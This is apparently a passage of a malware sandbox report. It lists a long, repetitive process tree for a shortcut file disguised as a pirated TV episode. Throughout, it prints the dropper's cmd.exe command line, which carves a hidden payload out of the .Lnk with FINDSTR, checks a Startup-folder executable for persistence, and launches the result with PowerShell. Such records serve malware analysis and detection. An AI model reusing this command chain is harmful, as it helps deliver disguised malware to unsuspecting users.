        PID:3244
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        277⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3704
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        278⤵
        
        PID:5312
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0495" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        279⤵
        
        PID:3144
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        279⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1524
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        280⤵
        
        PID:4768
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0564" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        281⤵
        
        PID:3988
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        281⤵
        
        PID:2528
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        282⤵
        
        PID:2444
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0644" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        283⤵
        
        PID:5684
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        283⤵
        
        PID:5520
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        284⤵
        
        PID:5996
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0711" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        285⤵
        
        PID:2260
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        285⤵
        
        PID:4180
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        286⤵
        
        PID:2008
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0767" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        287⤵
        
        PID:1164
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        287⤵
        
        PID:3080
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        288⤵
        
        PID:3924
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0828" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        289⤵
        
        PID:1236
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        289⤵
        
        PID:2256
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        290⤵
        
        PID:4656
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0884" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        291⤵
        
        PID:1976
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        291⤵
        
        PID:2312
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        292⤵
        
        PID:3100
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0944" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        293⤵
        
        PID:3968
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        293⤵
        
        PID:1792
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        294⤵
        
        PID:1124
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0005" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        295⤵
        
        PID:3092
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        295⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3056
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        296⤵
        
        PID:5428
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0067" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        297⤵
        
        PID:1480
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        297⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4628
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        298⤵
        
        PID:3736
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0122" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        299⤵
        
        PID:1708
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        299⤵
        
        PID:6136
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        300⤵
        
        PID:2100
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0184" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        301⤵
        
        PID:3592
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        301⤵
        
        PID:2524
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        302⤵
        
        PID:932
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0236" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        303⤵
        
        PID:3512
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        303⤵
        
        PID:1848
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        304⤵
        
        PID:4000
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0291" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        305⤵
        
        PID:5052
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        305⤵
        
        PID:4948
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        306⤵
        
        PID:1696
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0351" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        307⤵
        
        PID:5200
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        307⤵
        
        PID:2448
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        308⤵
        
        PID:4724
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0436" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        309⤵
        
        PID:4252
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        309⤵
        
        PID:4776
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        310⤵
        
        PID:3648
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0503" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        311⤵
        
        PID:2900
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        311⤵
        
        PID:5840
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        312⤵
        
        PID:4296
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0559" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        313⤵
        
        PID:5680
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        313⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1344
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        314⤵
        
        PID:5164
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0622" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        315⤵
        
        PID:464
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        315⤵
        
        PID:3888
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        316⤵
        
        PID:4248
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0687" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        317⤵
        
        PID:5116
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        317⤵
        
        PID:3208
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        318⤵
        
        PID:3340
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0745" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        319⤵
        
        PID:1372
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        319⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5060
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        320⤵
        
        PID:2016
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0811" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        321⤵
        
        PID:6116
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        321⤵
        
        PID:4808
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        322⤵
        
        PID:4812
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0870" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        323⤵
        
        PID:2116
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        323⤵
        
        PID:64
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        324⤵
        
        PID:1996
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        325⤵
        
        PID:3244
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0930" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        325⤵
        
        PID:5788
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        325⤵
        
        PID:3632
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        326⤵
        
        PID:4728
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0986" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        327⤵
        
        PID:1256
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        327⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3600
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        328⤵
        
        PID:5680
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0048" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        329⤵
        
        PID:5964
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        329⤵
        
        PID:5880
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        330⤵
        
        PID:3756
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0117" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        331⤵
        
        PID:5684
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        331⤵
        
        PID:3876
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        332⤵
        
        PID:5116
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0176" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        333⤵
        
        PID:1748
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        333⤵
        
        PID:4420
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        334⤵
        
        PID:4912
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        335⤵
        
        PID:5108
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0239" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        335⤵
        
        PID:3168
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        335⤵
        
        PID:5516
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        336⤵
        
        PID:1984
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0297" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        337⤵
        
        PID:4908
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        337⤵
        
        PID:5888
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        338⤵
        
        PID:1908
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0356" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        339⤵
        
        PID:1180
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
